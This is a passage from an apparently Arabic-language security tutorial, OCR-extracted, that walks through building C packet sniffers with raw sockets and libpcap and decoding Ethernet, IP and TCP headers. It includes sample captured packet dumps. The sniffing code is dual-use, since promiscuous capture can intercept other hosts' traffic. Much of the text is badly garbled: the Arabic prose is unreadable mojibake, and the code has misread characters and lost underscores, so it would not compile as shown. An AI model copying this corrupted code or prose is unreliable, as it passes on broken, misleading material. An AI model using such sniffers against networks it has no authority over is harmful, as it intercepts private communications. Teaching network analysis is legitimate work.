while (1)
{

data size = recvfrom(sock raw , buffer , 65536 , 0 , &saddr , &saddr size);

}

That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually
complete over here. The next task is to actually read the captured packet, analyze it and present it
to the user in a readable format.

S5 <OSI Layers I J1s &oa L bl e a2 ROW Socket JI ptsiume 1 L2 of J& e o 2
o Row Socket 0 ;) Socket J! g5 s <IPva o Protocol Family J! g3 2= AR 5559 &8 ek
Wl 5 A Arguments JI Laxs Al recvfrom( ) JI pdsenl o5 TCP I J 58 555 5 431 5 &y &1 sd>
JomSE S5 cbuffer J1 G g2 5 30201 @ols e W traffic I Capture Joss o s S Lgadienal ¢ eV
datadleds ;5325 55 J<ad function puseed O LY a1 ) Sniffer Ji 1

- Sp it 3 s g

el A1 535 8 s 5 B L)l abin £ A1 GUMP() ) i

tade DUMP( ) JI Jbs) s Shiffer Ji lia dalid) La

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"
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int main (void) {

int i, recv_length, sockfd;

u_char buffer[9000];

if ((sockfd = socket (PF_INET, SOCK RAW, IPPROTO TCP)) == -1)
fatal ("in socket");

for(i=0; 1 < 3; 1i++) {
recv_length = recv(sockfd, buffer, 8000, 0);
printf ("Got a %d byte packet\n", recv length);
dump (buffer, recv_length);

JHals Jo1s sy (S (3 Packets) sl capture Josxs p sy 5 <TCP ¢ 55 p0 TOW SOCKEL iy o 52 55501 s
.For()
buffer ngﬁl u;; aladl g T LY .dump() JI r\u\}d&wL{ packet | LoUki row data Ji dellay T ("’

“‘unsigned char” as ¢ L3455

¢ UL “unsigned char” U 13U

..binary data JI s Jay Jelas ¢ <network programming J! J (a.xsa,ﬁ doo J@T LY

SGWI Ol G wis L5ud sl “the Server” peals S Ja
I text JI 14 capture  fos sniffer JI p s S g}ﬁj server JI 1dd texts JI e~ Jlu b o s
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:Server JI x» Session p 3T Sniffer J Jass 55 oda

reader@hacking:~/booksrc $ sudo ./raw tcpsniff

Got a 68 byte packet

45 10 00 44 1le 36 40 00 40 06 46 23 cO a8 2a 01 |

cO a8 2a f9 8b 12 le d2 ac 14 cf 92 5 10 6¢c c9 | ..

80 18 05 b4 32 47 00 00 01 01 08 Oa 26 ab %9a f1 | ....2G...... &...

02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 |

73 74 0d Oa |

Got a 70 byte packet

45 10 00 46 1le 37 40 00 40 06 46 20 cO a8 2a 01 |

cO0 a8 2a £9 8b 12 le d2 ac 14 cf a2 e5 10 6¢c c9 | ..

80 18 05 b4 27 95 00 00 01 01 08 0Oa 26 ab a0 75 | ...."....... &..u
|
|

st..

02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 0d Oa

Got a 71 byte packet

45 10 00 47 le 38 40 00 40 06 46 le c0O a8 2a 01 |

cO a8 2a f9 8b 12 le d2 ac 14 cf b4 5 10 6¢c c9 | ..

80 18 05 b4 68 45 00 00 01 01 08 Oa 26 ab b6 e7 | ....hE...... &.
|
|

AAAA. .

02 3c 20 ad 66 6a 73 64 61 6Cc 6b 66 6a 61 73 6D
66 6a 61 73 64 0d Oa
reader@hacking:~/booksrc $

fjasd..

AN

s OV 5 <roW SOCKet JI plseiely SNIFing 1 & o Luod i) ASCIN U (A) i (0x41) O S5

.dsniff JI 5 tepdump JI Lgaases 15 <libpeap library JI plusul

libpcap Sniffer

ZijLﬂoiAgjiﬁJLku

The Packet Capture library provides a high level interface to packet capture systems. All packets
on the network, even those destined for other hosts, are accessible through this mechanism. It
also supports saving captured packets to a “savefile”, and reading packets from a “savefile”.
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© AT LUK i 518 el ] 0 pazy 03,33 B Lnli,
Lib Jledy; Lot functions JI elusal p s

#include <pcap.h>
#include "error.h"

void pcap fatal (const char *failed in, const char *errbuf) {
printf ("Fatal Error in %s: %s\n", failed in, errbuf);
exit (1) ;

}

int main () {
struct pcap pkthdr header;
const u_ char *packet;
char errbuf [PCAP_ERRBUF SIZE];
char *device;
pcap_ t *pcap handle;
int 1i;

device = pcap_ lookupdev (errbuf) ;
if (device == NULL)
pcap fatal ("pcap lookupdev", errbuf);

printf ("Sniffing on device %s\n", device);

pcap handle = pcap open live(device, 4096, 1, 0, errbuf);
if (pcap_handle == NULL)
pcap_ fatal ("pcap open live", errbuf);

for (i=0; i < 3; i++) {
packet = pcap next (pcap handle, &header);
printf ("Got a %d byte packet\n", header.len);
dump (packet, header.len);
}
pcap close (pcap handle);
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b Joxs ¢ s structures Ji s functions JI &pe 2,801 L Library Jieds
:main() JL T

..pcap_pkthdr ga 5 lib Jleda - struct eledzul, e

.header ool 5 ObjECt 420 Lzl

-

kS S struct Ji s 4 15 ,adi variables I s faresws Object I is

il
struct pcap_ pkthdr {
struct timeval ts; /* time stamp */
bpf u int32 caplen; /* length of portion present */
bpf u int32 len; /* length this packet (off wire) */

.capturing Ji 4 s g1 <3 ) 5 4] pdsend size J51
.capture JI ilos I Lebladl ¢l CL:jU data J) gz Gl 2 xs GLI,
bl 2y 2 Laill Packets Jl e AU 5 s I, 8

R oy %;LJ Wl L5 51 | S Unsigned char dx.z, row bytes Ji « ra_ﬁ sy Jwi\ iy A Lad o
w UL;; sl device JI s ) @;:4 f&i\ fda oS <256 bytes 4a 5 ol (> 4 errbuf (wg

Lu il ooLls )5 Ls) ethernetO L. s 9 [dev/eth0 o S La Ll & 52 sniffing JI
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device = pcap lookupdev (errbuf);
if (device == NULL)
pcap fatal ("pcap lookupdev", errbuf);

printf ("Sniffing on device %$s\n", device);

FELud AL o ,lS e Gl D}:,& pcap_lookupdev( ) Ledse!
"Find the default device on which to capture"
5 a1l bl i fatal() G b s error U e 225 23,055 0l

*\o

te Al e

pcap handle = pcap open live(device, 4096, 1, 0, errbuf);
if (pcap_handle == NULL)
pcap fatal ("pcap open live", errbuf);

L libpeap library JI -ys 5 pcap_open_live() La Lozl
LS S arguments JI e &8 yod 4l

/dev/eth0 ca.i device JI jLuc ;o J,N1 =

maximum packet size Ji g» Sl =

promiscuous mode flag s» cJily; =

timeout value Ji y» ~I J15 =

errbuf Ji Jf ., pointer sa oldly ™
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e A
for (i=0; 1 < 3; i++) {
packet = pcap next (pcap handle, &header);
printf ("Got a %d byte packet\n", header.len);

dump (packet, header.len);
}

A 055 prods Lado 5 «packets JI JLaaV 100p Josy o 5 85laJlS
JI 42 =1, Pcap_open_live() JI e esllhandle JI e 5L arguments 3 peap_next() Jl eda

J! s length of packets JI <UL 32 ) cpcap_pkthdr Ji e bzl -JI "address of our object"

.time of capturing

“Return the next available packet” : ;YS function J e il 5 j.:xf

b
[

:two arguments |5 s «dump() JI aak 5 gt
row bytes JI als10 Le>J unsigned char ;e 5,Le a5 cpacket Ji pa J5N1 =
(o3 J 51 3 e LUSS) cheader JU ol elements JI 5l attributes JI a1 s» Sl =

.length JL glxi! variable JI 1 (g s struct J! 1da -y J.Uf N JEEREY

-7 & f‘
saleadl LY close_pcap() o |l o3
pcap close() - close a capture device or save file
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reader@hacking:
reader@hacking:

Fatal Error in

reader@hacking:

Sniffing
Got a

00
00
2a
05
37
0d

01
44
£9
b4
le
Oa

Got a

00
00
2a

230 0x400

01
34
01

82
(e
le
8b
54
74

66
29
3d
le

eb
39
12
la
68

1d
40
le
00
69

~/booksrc $ gcc -o pcap sniff pcap sniff.c -1 pcap
~/booksrc $ ./pcap sniff

pcap_lookupdev: no suitable device found
~/booksrc $ sudo ./pcap sniff

on device ethO
byte packet

50
00
d2
00
73

00
40
ac
01
20

byte packet
15 65 b6
2c 40 00
d2 8b 12

05 a8 2b 3f 00 00

a7

76

Got a

00
00
2a
05
27
41

reader@hacking:
reader@hacking:

01
46
f9
b4
6cC
41

84
(e
le
8b
11
41
0d

00
40
eb

01

byte packet

eb
3a
12
b3
41
Oa

1d
40
le
00
41

50
00
d2
00
41

00
40
ac
01
41

01
06
14
01
69

01
06
10

01

01
06
14
01
41

29
46
cf
08
73

6c
27
(e

08

29
46
cf
08
41

~/booksrc $
~/booksrc $

15
20
c7
Oa
20

eb
4d
c9

Oa

15
1d
d7
Oa
41

65 b6 08 00 45 10 |
cO a8 2a 01 c0 a8 |
e5 10 6¢c c9 80 18 | *....iiia... 1...
26 b6 a7 76 02 3c |
6l 20 74 65 73 74 |
|

1d 50 08 00 45 00 | ..).e...1l..P..E.

cO a8 2a £9 c0 a8 | .4=,@.Q@."'M..*...

ac 14 cf d7 80 10 | *....... 1.......

02 47 27 6Cc 26 b6 | ..+2....... G'ls.
| .

65 b6 08 00 45 10

| ..1..P..).e...E.
cO a8 2a 01 c0 a8 | .F.:@.@.F...*...
e5 10 6c ¢c9 80 18 | *... ... 1...
26 b6 a9 ¢8 02 47 | ... &....G
41 41 41 41 41 41 | '"1AAAAAAAAAAAAAA
| AA..

sudo command eldszu pds o LI Gerror Ji  54b LY
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L6 s, At g oV s

-OSl Layers ) Analysis Jox p s

a3l 8,231 £Lgi| e Gors OSI Layers i o 0L 23]
s

Layer Analysis

JIh el Zlacd) Jeo il s headers  data e (s 52 packets ;¢ §,Le iSa)l we Ul traffic JI s
“Decoding the Layers” Jb _oms Ls Jor oVl o s .data
S B o5 «(Data-Link, Network, and Transport Layers) «edl laall Lo 55 LU Tacw

cdn [ pgeldieial o S oped s ik IS o) Header Jl ol g2 S

Ethernet Header JU T

Ethernet Header
Ll lds e Ethernet Header JU ok structure JI g, =5 o Linux Jsedl <:U'a; d
/user/include/linux/if ether.h

PGl s e s 5 b 5 25 63l (e SCTEENShOL S 5 oL
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root@kali: ~

File Edit View Search Terminal Help

" Web Penetration o7

Testing with Kalj
T econd Editi... #ifndef LINUX IF ETHER H

#define LINUX_IF ETHER H

#include <linux/types.h>

BlackHat
Pyt
Programm #de fine
#define
#define
#define
#define
#define

*
+
*

/

#define

IEEE 802.3 Ethernet magic constants. The frame sizes omit thdg
and FCS/CRC (frame check sequence) .

ETH_ALEN
ETH_HLEN
ETH_ZLEN
ETH_DATA_LEN
ETH_FRAME_LEN
ETH_FCS_LEN

These are the

ETH_P_LOOP

6 /* Octets in one ethernet addr
14 /* Total octets in header.

60 /* Min. octets in frame sans
1500 /* Max. octets in payload
1514 /* Max. octets in frame sans
4 /* Octets in the FCS

defined Ethernet Protocol ID's.

Ox0060 /* Ethernet Loopback packet

MAC JI J=T ;s 6 bytes a.a o5 &1 s "Ethernet Address Length” J jLaz! » Define Ji

to Ty sl kel § L~ Address
#define ETH HLEN 14
.14 Bytes 0 ;5] Ethernet Header JI J sb 4, 22 ¢ 54 4]
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G a LdSS g0l MTU I s 1 5 <1500 bytes Ji 530 Y &1 55 data length U o field J1 L]
I a5 el e 1500 U1 Le 14 bytes J1 BLsL 66 &1 ady @l ludl 3 LY L Ll Juadl

Header JI J] GLa2 Data JI e o Le s» ) “Frame”

D aala
#define ETH ALEN 6 /* Octets in one ethernet addr */
#define ETH HLEN 14 /* Total octets in header */
/*
* This is an Ethernet frame header.
*/
struct ethhdr {
unsigned char h dest[ETH ALEN]; /* Destination eth addr */
unsigned char h source[ETH ALEN]; /* Source ether addr */
__bel6 h proto; /* Packet type ID field */
} __attribute  ((packed));
/’ ,H
teae b oo il La OV

6 bytes Source MAC + 6 bytes Dest MAC + 2 bytes type of ethernet packet =
14 bytes (Ethernet Header)

¢ “type of ethernet packet” Jilia Sis |a

o ARP (23(5 13] Lo packet I ¢ 3  ,al oo LS Loz (SN O 3 ARP U1 J S 55,05, s L5ud
st ol G 1w daZdll Sl glall ods e 2l by ol structure I Jas o siil &sle data
> e include file & wgrds o e 5135 Lo J] does] I
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#define ETHER ADDR_LEN 6
#define ETHER HDR LEN 14

struct ether hdr {
unsigned char ether dest addr[ETHER ADDR LEN]; //Dest. MAC
unsigned char ether src addr[ETHER ADDR LEN]; // Source MAC
unsigned short ether type; // Type of Ethernet packet

i

“Network.h” Calll lda Le &pai;»

1P Header JU _oUkistructure Ji 1) ez OV

IP Header
Bit 0 Bit 15 Bit 16 Bit 31
Version (4) Lg:gige(z) F:)rf'(ggsr’vg%gf Total Length (16) A
Identification (16) Fl(:aa?s Fragment Offset (13)
Time To Live (8) Protocol (8) Header Checksum (16)
20
Source IP Address (32) Bytes

Destination IP Address (32)

IP Options (0 Or 32 If Any)

Data (Varies If Any)

.Options field Ji & 4 20 bytes & ,b éi.: IP Header Ji of la>Y
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o Ml i Ua Jaies Ethernet Header JI o Lkas | S5

‘Header JI 1ia jLus s 2 JSC2J1

root@kali: ~

M File Edit View Search Terminal Help

™ web Pe :~# 1s /usr/include/netinet
E Testinglether.h if _ether.h if_tr.h in.h ip6.h ip_icmp.h wudp.h
" T _nax Secicmp6.h  if_ fddi.h igmp.h in_systm.h ip.h tcp.h
:~# cat /usr/include/netinet/ip.h

:Struct JiHds ol g2 om0 bl

struct iphdr

{

#if  BYTE ORDER == _ LITTLE ENDIAN
unsigned int ihl:4;
unsigned int version:4;

#elif  BYTE ORDER == _ BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;

#else

# error "Please fix <bits/endian.h>"

fendif
u int8 t tos;

u intl6 t tot len;

u intl6 t id;

u intlé t frag off;

u int8 t ttl;

u int8 t protocol;

u intlé6 t check;

u int32 t saddr;

u int32 t daddr;

/*The options start here. */

}s
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~alsinclude file J1 ) 433 5 Lal Header J11is sLasl, p s

“Network.h”:elad (U1

struct ip hdr {

unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned

char ip version and header length; // Ver and hdr len
char ip tos; // Type of service

short ip len; // Total length

short ip id; // Identification number

short ip frag offset; // Fragment offset and flags
char ip ttl; // Time to live

char ip type; // Protocol type

short ip checksum; // Checksum

int ip src addr; // Source IP address

int ip dest addr; // Destination IP address

.TCP Header JL (33

TCP Header

.options field JI & 5, « 20 bytes «J 4> &L, Header JI 1.ia (o

‘Header JI lia & 4JWl diall 3 o o0
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Bit 0 Bit 15 Bit 16 Bit 31

Source Port (16) Destination Port (16) A
Sequence Number (32)
Acknowledgment Number (32) 3339 &
Ls:é}cﬂe(il) Reserved (6)| Code Bits(6) Window (16)
Checksum (16) Urgent (16) \
Options (0 or 32 If Any)
Data (Varies)

:L“;SILS “TCP header length” J| & = o5 lall jax

b

“An integer that specifies the length of the segment header measured in 32-bit multiples’
“4 bytes * number of segments have been used” : &l Az if}

ra e Structure JI IS L

typedef u int32 t tcp seqg;

/*
* TCP header.
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* Per RFC 793, September, 1981.
*/

struct tcphdr
{
u _intlé t th sport; /* source port */
u _intlé t th dport; /* destination port */
tcp seq th seq; /* sequence number */
tcp seq th ack; /* acknowledgment number */
# if BYTE ORDER == _ LITTLE ENDIAN
u int8 t th x2:4; /* (unused) */
u int8 t th off:4; /* data offset */
endif
if BYTE ORDER == _ BIG ENDIAN
u int8 t th off:4; /* data offset */
u int8 t th x2:4; /* (unused) */
# endif
u int8 t th flags;
define TH FIN 0x01
define TH SYN 0x02
define TH RST 0x04
define TH PUSH 0x08
define TH ACK 0x10
define TH URG 0x20
u intlé t th win; /* window */
u intlé t th sum; /* checksum */
u intlé t th urp; /* urgent pointer */

= =

R e

}s

. iziy o, TCP Structure J1 s Ll o s

z
-

23 iy ¢ 516 e Flags ) define Jos p yin LT Y

struct tcp hdr {

unsigned short tcp src port; // Source TCP port
unsigned short tcp dest port; // Destination TCP port
unsigned int tcp seq; // TCP sequence number
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unsigned int tcp_ack; // TCP acknowledgment number

unsigned char reserved:4; // 4 bits from the 6 bits of reserved space
unsigned char tcp offset:4; // TCP data offset for little-endian host
unsigned char tcp flags; // TCP flags (and 2 bits from reserved space)
#define TCP_FIN 0x01

#define TCP_SYN 0x02

#define TCP_RST 0x04

#define TCP_ PUSH 0x08

#define TCP ACK 0x10

#define TCP URG 0x20

unsigned short tcp window; // TCP window size

unsigned short tcp checksum; // TCP checksum

unsigned short tcp urgent; // TCP urgent pointer

i

“Network.h” calll ) La] M o s

sl Jos s

JI odd decode Jons psa) ol &S LiSal 0V (Structures . Je Headers J! & = bl 3
bl oy packet Js . Headers

Mk &3 0,555

The Decoder Sniffer

o s Sniffer . S5 Jf o “Network.h” oLLasT st alll <"libpeap library" Jb &lew YL La p s

T;.x; layer (_}.’Q decode Jos - packet JS Jools 5 e 5 i8I o,S e LUl traffic ) capture fos
.Transport Layer Ju #lgi s Data-Link Layer Jb
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fUnCtion J Jukes o pes Lol i - Ol G kT Lo JE25 5 ol 236 Lo 5,801 s - et
by cols.. ek s e Jo pcap_next() awl <ils Al gLl sniffer JI 3 babeasaal Al
2JW packet JI s 3 oo

Lge el ST 5 «peap_loop( ) g il s =1 function <UL RESI

‘L - prototype JI L

int pcap loop(pcap t *handle, int count, pcap handler caught packet,
u char *args);

A e s s IS 0K GLB Y. s 511 Arguments Jf sdals
:Handle JI 14 T
. . 2
M degad Landl dodal s des 5 o Handle JI cay a5 Sllael s
: b |s Handles JI Michael Sikorski i L &
Handles are items that have been opened or created in the OS, such as a window, process,
module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory
location somewhere else. However, unlike pointers, handles cannot be used in arithmetic
operations, and they do not always represent the object’s address.

The only thing you can do with a handle is store it and use it in a later function call to refer to
the same object.

¢..pcap_loop( ) Jlsda 3 La handle Ji s 5 S5 pAStin LS
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=8 o A5l function JI e L5l return value Ji «.5 CQ.J storage < handle JI s O s ..l
..6;-% function J Argument £ uﬂ [YREE (Z.f «promiscuous mode J! &ixs 5 & Lol SN s

Sels .G 4 handle I iy a5 s Bold J e 521 a] ets e Lanalls s peap_loop() JI
JUll 3 by A5 clghaiidin I packets JI sae e oo int o3, 56 I Argument ) il

Sniffer Ji 5l o OF J] loop Sl s "-1" © Lgd 5 o5 o) &l o> «(3) & Gl

.5~ function J pointer e 5 Le 4¢5 LI Argument Ji o suase
Lslae s o 4 caught_packet( ) Lsamins .5 1 function J call Joms La o 522 peap_loop() JI Ol gy
4 packet JI Lol s 52 4 -peap_loop( ) I Leblidl cusls Il packet Jl s e ilais Sl shas
JI dl 5,LaNL e 555 Pointers Ji oJa <pointers e 5 Le Arguments J:a.w; 4 capture |is (/,S S

.packet itself J! s packet header

: caught_packet( ) JI S5 s La

void caught packet (u char *args, const struct pcap pkthdr
*cap header, const u char *packet);

dibpeap lib JI & s s> 4 struct sa 5 struct pcap_pkthdr Ji - 4tz o object _» L1 Argument JI

.Decoding Jl diles 3§ Lasdse, U;J izl packet JI J=1s 4, & > pointer ga J?N\j

Security & Attacks
[207]



- © ol Wl il 5 5501 s Iz it ks el eda cils
A U S S5 ol B Lo 558 ity p s

%f—ﬁd)iéﬁu

#include <pcap.h>

#include "error.h"

#include "network.h"

void pcap fatal (const char *, const char *);
void decode ethernet (const u char *);

void decode ip(const u char *);

u_int decode tcp(const u char *);

void caught packet (u char *, const struct pcap pkthdr *, const
u_char *);
int main () {
struct pcap pkthdr cap header;
const u char *packet, *pkt data;
char errbuf [PCAP ERRBUF SIZE];
char *device;
pcap t *pcap handle;

device = pcap lookupdev (errbuf);
if (device == NULL)
pcap fatal ("pcap lookupdev", errbuf);

printf ("Sniffing on device %s\n", device);
pcap handle = pcap open live(device, 4096, 1, 0, errbuf);
if (pcap handle == NULL)

pcap_fatal ("pcap open live", errbuf);

pcap loop (pcap handle, 3, caught packet, NULL);

pcap close (pcap handle);

.. «function prototypes JI e &1l 3 b
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.§ prototype JI i =5 ;SJg Je
Jb Lot Y1 O LY bzl packets JJ decode JI iab 5 | 50 52 vgdy =5 o5 functions M v 5

1 o8 dogd TUNCHON Ul el 1w i cosd gl sl p 53 s V0l ¢ 55 0 o] TCP Header
.TCP Header Length

de—éti&é—m\suuﬁj
Jl b dn &5 5 packet JI J=1s data JI e 800 Bl G W ety (S e Olod Brbw o
-J=dll data J qe- W i Layer JS5 o Uk Header Length

main( ) Ju sl ol K% o

struct pcap pkthdr cap header;
const u char *packet, *pkt data;
char errbuf [PCAP_ERRBUF SIZE];
char *device;

pcap t *pcap handle;

.pcap_pkthdr w“i\ Struct JI . object sl L0l (3 ek

.§ Struct Ji s S fa

t ol W o ad Nl element J awe Ldserl G ¢ 3oLl Sniffer JI 3 olusdsend 43
’Length of Captured Packet”

PICHIRT SRV
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struct pcap pkthdr {

struct timeval ts; /* time stamp */
bpf u int32 caplen; /* length of portion present */
bpf u int32 len; /* length this packet (off wire) */

.pkt_data 5 packet - unsigned char ¢ o pointers i = e Vj
Jl s S | Headers JL L. memory block Jif =15 A5 e & JsYI pointer J| p ol
§J531 U1 pointers

- “Hello world!” Jles a1 1da e Liud 2l

I gz o5 o3 \» ik S <Ll 5 LY «"Pcap_handle" JB8 de aie LSS I Handle JI 3 540
packets JI JLazwY Looping JI iles adss Tud <lookup_dev( ) JI plaszaly sniff JI ilea] device

- Jeolidl ) 2 Decoding JI dles <l ) 5

Js - L slednl e sJﬁ;\I\ oda ccaught_packet( ) J call Jon o sons pcap_loop( ) JI of L s

.Leb &L peap_loop JI o 55 packet

Ve Al gz ba )

35S is 3 5% 55k p 5% b caught_packet() JI iy & Jradls (oW1 e 341 ) Jaen

Security & Attacks
[210]



void caught packet (u char *user args, const struct pcap pkthdr
*cap header, const u_ char
*packet) {
int tcp header length, total header size, pkt data len;
u_char *pkt data;

printf ("==== Got a %d byte packet ====\n", cap header->len);

decode ethernet (packet) ;
decode ip(packet + ETHER HDR LEN) ;
tcp header length =
decode tcp(packet + ETHER HDR LEN + sizeof (struct ip hdr));

total header size =
ETHER HDR LEN + sizeof (struct ip hdr) + tcp header length;

/*pkt data points to the dataportion*/
pkt data = (u_char *)packet + total header size;

pkt data len = cap header->len - total header size;
if (pkt data len > 0) {
printf ("\t\t\t%u bytes of packet data\n", pkt data len);
dump (pkt data, pkt data len);
} else
printf ("\t\t\tNo Packet Data\n");
}
void pcap fatal (const char *failed in, const char *errbuf) {
printf ("Fatal Error in %s: %s\n", failed in, errbuf);
exit (1) ;
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Local V‘f'i sy <Integer variables JI e e yot Leasd ccaught_packet( ) Ji 5431 &l S W e
Lz function Jlsda Jo1s agedsuiain Wl sxes cvariables

oo s L data Ji upg.ajrj (an e Headers JI Lad Of function Ji sds s A S dal
Dump() JI sleazal 5o,k e data Jieda L

Y ig e A L

printf ("==== Got a %d byte packet ====\n", cap header->len);

JI > J:N’ length Ji i of i~ <Length of packet isLal e L CJ:,J L printf() J! o

JaYl o G Structs Ji s dax| o bay "> 5L Y1 oda U5 o5 13| data + Headers

(Function Jledy: Tus 1 as el 0dd U 3
decode ethernet (packet);

caught_packet() J! J=Is function Ji eds Jas o=

L3 Packet Ji J=1s Ethernet Header J! o5 dea i) Pointer s o ,Le Argument = oL
5505 (55 e SN 51 3 Jnaielly Header J1 Lis asLei) Header Ji 144 Decoding Ji fas, o 53
ii«g/j \s il Packet Ji j=1s 1 Layf packet oI Pointer JU JUsYl ke o5 i M sl e
LG

- JelB s L) el paint Il el ) cadla
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IRV

Packet g
Ethernet Hdr
Packet + Ether HAr sy
IP Header
Packet + Ether Hdr + 3
IP Header
TCP Header
Packet + Ether Hdr + 3
IP Header + TCP Hdr
Data

50 als Lzl Pointer JI o Packet I &l 3 Y <2 decode_ethernet( ) JI of s 5 LS

e
decode ethernet (packet) ;

decode_ip() 4| sU
decode ip(packet+ETHER HDR LEN) ;
-3 5 S Argument J1 0555 QL s <P Header J1 &lus wie 0 55 Pointer Ji &l >y oda o it
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. TCP Header ) decode e & 5 Lasf o

.Address of TCP Header J! &\ (] Pointer Ji &b > o s

tcp header length =
decode tcp(packet + ETHER HDR LEN + sizeof(struct ip hdr));

Wl .S tep_header_length Lol Nt Grny A U 8;@ <IUL function JI s OF L>Y

I N1 Dump( ) Ji plasaly Lgel W sy (S s ey Length of data JI 3 ,ae 2 5 0V
el oda U s g

total header size =
ETHER HDR LEN + sizeof (struct ip hdr) + tcp header length;

..Caught_packet( ) JI J&Is ag =5 o ! Local Variable (8 4~ 55 Header JJ I v.?;;-\ Sl o

.L;Q\ packet JI o> OAL;LEVE

/*pkt data points to the data portion.*/
pkt data = (u char *)packet + total header size;

0 5Sm ol LAl packet J1 1 data 1 &1y Jf 23 pkt_data S.d1 pointer I e Ua 5%
caxs 5Ll Dump() JI C.Ja.w S unsigned char ¢ o

pkt data len = cap header->len - total header size;
.11 "length of data" J d=14y Jesw local variable Ji 1da

Security & Attacks
[214]



ML Argument J1 0 55 5 "length of packet" Ji - "length of total header” JI C)’ o S5
s s Dump()

if (pkt data len > 0) {
printf ("\t\t\t%u bytes of packet data\n", pkt data len);
dump (pkt data, pkt data len);

} else
printf ("\t\t\tNo Packet Data\n");

Sniffer di s e GUI s 2 s 5 e Lgsil 0555 s

bjg\ o qJL:J\ 9}\ BEL) ¢L> dy\j
I functions eI . p a5 A1 dceadd] el 2 VI e i

void decode ethernet (const u char *);
void decode ip(const u char *);
u _int decode tcp(const u char *);

2SN i el G0

void decode ethernet (const u char *header start) {

int 1i;
const struct ether hdr *ethernet header;
ethernet header = (const struct ether hdr *)header start;
printf ("[[ Layer 2 :: Ethernet Header ]]\n");
printf ("[ Source: %02x", ethernet header->ether src addr[0]);
for(i=1; i < ETHER ADDR LEN; i++)

printf (":%02x", ethernet header->ether src addr[i]);

printf ("\tDest: %02x", ethernet header->ether dest addr[0]);
for(i=1; 1 < ETHER ADDR LEN; i++)
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printf (":%02x", ethernet header->ether dest addr[i]);
printf ("\tType: %hu ]\n", ethernet header->ether type);
}

void decode ip(const u char *header start) {

const struct ip hdr *ip header;

ip header = (const struct ip hdr *)header start;

printf ("\t(( Layer 3 ::: IP Header ))\n")
printf ("\t( Source: %$s\t", inet ntoa(ip header->ip src addr));
printf ("Dest: %s )\n", inet ntoa(ip header->ip dest addr));
printf('\t( Type: %ul\t", (u_int) ip header->ip type);
printf (" $hu\tLength: %hu )\n", ntohs (ip header->ip id),

ntohs(ip_header—>ip_len));

1

u int decode tcp(const u char *header start) {
u_int header size;
const struct tcp hdr *tcp header;

tcp header = (const struct tcp hdr *)header start;
header size = 4 * tcp header->tcp offset;

printf ("\t\t{{ Layer 4 :::: TCP Header }}\n");
printf ("\t\t{ Src Port: %$hu\t",
ntohs (tcp header->tcp src port));

printf ("Dest Port: $hu }\n", ntohs(tcp header->tcp dest port));
printf ("\t\t{ Seq #: %ul\t", ntohl (tcp header->tcp seq));

printf ("Ack #: %u }\n", ntohl (tcp header->tcp ack));

printf ("\t\t{ Header Size: %ul\tFlags: ", header size);

if (tcp header->tcp flags & TCP_FIN)
printf ("FIN ");

if (tcp _header->tcp flags & TCP_SYN)
printf ("SYN ") ;

if (tcp _header->tcp flags & TCP_RST)
printf ("RST ") ;

if (tcp header->tcp flags & TCP_ PUSH)
printf ("PUSH ") ;
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if (tcp header->tcp flags & TCP_ACK)
printf ("ACK ") ;

if (tcp header->tcp flags & TCP_URG)
printf ("URG ") ;

printf (" }\n");

return header size;

}

decode_ethernet( ) JI a5 function Jf o K%

void decode ethernet (const u char *header start) {
int 1i;

Ethernet JI &~ packet Ji &l ) 25 pointer 4 s cArgument £ Packet JI function Ji sis iiG
function Ji «Jb local sa 5 (i) o Lo e (,j .header

const struct ether hdr *ethernet header;

struct Ji s =1y JIElements J . ,\;u struct ether_hdr J! lis - object Lazsl ‘,:
§ Struct Ji s S35 fa

Mgﬂjéﬁw

#define ETHER ADDR LEN 6

#define ETHER HDR LEN 14

struct ether hdr {
unsigned char ether dest addr[ETHER ADDR LEN]; //Dest. MAC
unsigned char ether src addr[ETHER ADDR LEN]; // Source MAC
unsigned short ether type; // Type of Ethernet packet

i
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235831 oS

ethernet header = (const struct ether hdr *)header start;
JI =15 Ethernet header J (3 53y skl ULJL alsloy 1 elements J1 Stay oL 1is object JI LA i

bl o5 i packet

printf ("[[ Layer 2 :: Ethernet Header ]1]1\n");
printf (Y[ Source: %02x”, ethernet header->ether src addr[0]);

for(i=1; I < ETHER ADDR LEN; i++)
printf (“:%02x”, ethernet header->ether src addr[i]);

"Source MAC Address" J\ 4, printf( ) JI L o 5
byte JsU 145100p o G2 b e MAC JI LS o5 struct JI 1 we g U1 element JI J) U 51 s
.ﬁéykijFQbWEJquﬁj

printf ("\tDest: %$02x", ethernet header->ether dest addr[0]);
for(i=1; i < ETHER ADDR LEN; i++)

printf (":%02x", ethernet header->ether dest addr[i]);
printf ("\tType: %hu ]\n", ethernet header->ether type);
}

"Destination MAC Address" JI islla; p s Laf Ua LaVI i 5
Struct JI 1> =Yl element Ji 42 5 "Type of packet" isll, o s o J}Trj
field i 1ds e S s
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JI i.pf.a_ij ‘MAC Header JI s ;5 I 2,5 «Data-Link Layer J| G Frame JI =55 (U1 )
Ether Type

field Ji s 4] aio b asds s

The two-octet EtherType field in an Ethernet frame, preceded by destination and source MAC
addresses, that identifies an upper layer protocol encapsulating the frame data. For example, an
EtherType value of 0x0800 signals that the frame contains an IPv4 datagram. Likewise, an
EtherType of 0x0806 indicates an ARP frame, 0x8100 indicates an IEEE 802.1Q frame

BO 0D 20 VA 3F 3E BO 0D 20 20 3A AE o8 oo IP, ARP, etc. 0o 20 20 3A
Destination MAC Address Source MAC Address EtherType Paylozd CRC Checksum
MAC Header Data
(14 bytes) (46 - 1500 bytes) (4 bytes)

EﬂlernetJTgr e ll Frame
(B4 to bytes)

sl function i

) , decode_ip()

Ll Lad gl struct JI e 5 a3 +l) SESGS 2Ll function J1 8 L Lad 31 5 5aY1 ity p st
.8 oye IP Header JU ol

Gl LY .4 Lol elements JI i iU "struct ip_hdr" JI or ip_header «ul, LT object Lt Lad
sda U Jjﬁ ! function JI Leas.l "Source and Destination IP Addresses” JI 2 2 Lod Loz

"ASCII Dotted notation" J! 1| Network type J! :s -y sLuall
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} & - £
I%Y\ov\.&d'
printf ("\t( Type: %u\t", (u int) ip header->ip type);
